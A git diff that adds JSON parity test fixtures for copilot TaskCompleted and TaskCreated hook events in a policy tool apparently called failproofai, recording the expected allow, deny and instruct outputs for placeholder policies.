b/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a24bba64 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e99ad94d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d07144cb --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..bc5ac338 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1803e44c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9e6198c9 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0cede478 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b66f5fe4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..51d6f1a6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a1c133a1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a1e7aa85 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1e55b02d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..93c9e896 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c12a159f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b137685f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..996e36bc --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8ee0aaf0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f35a8fb9 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b8de90ea --- 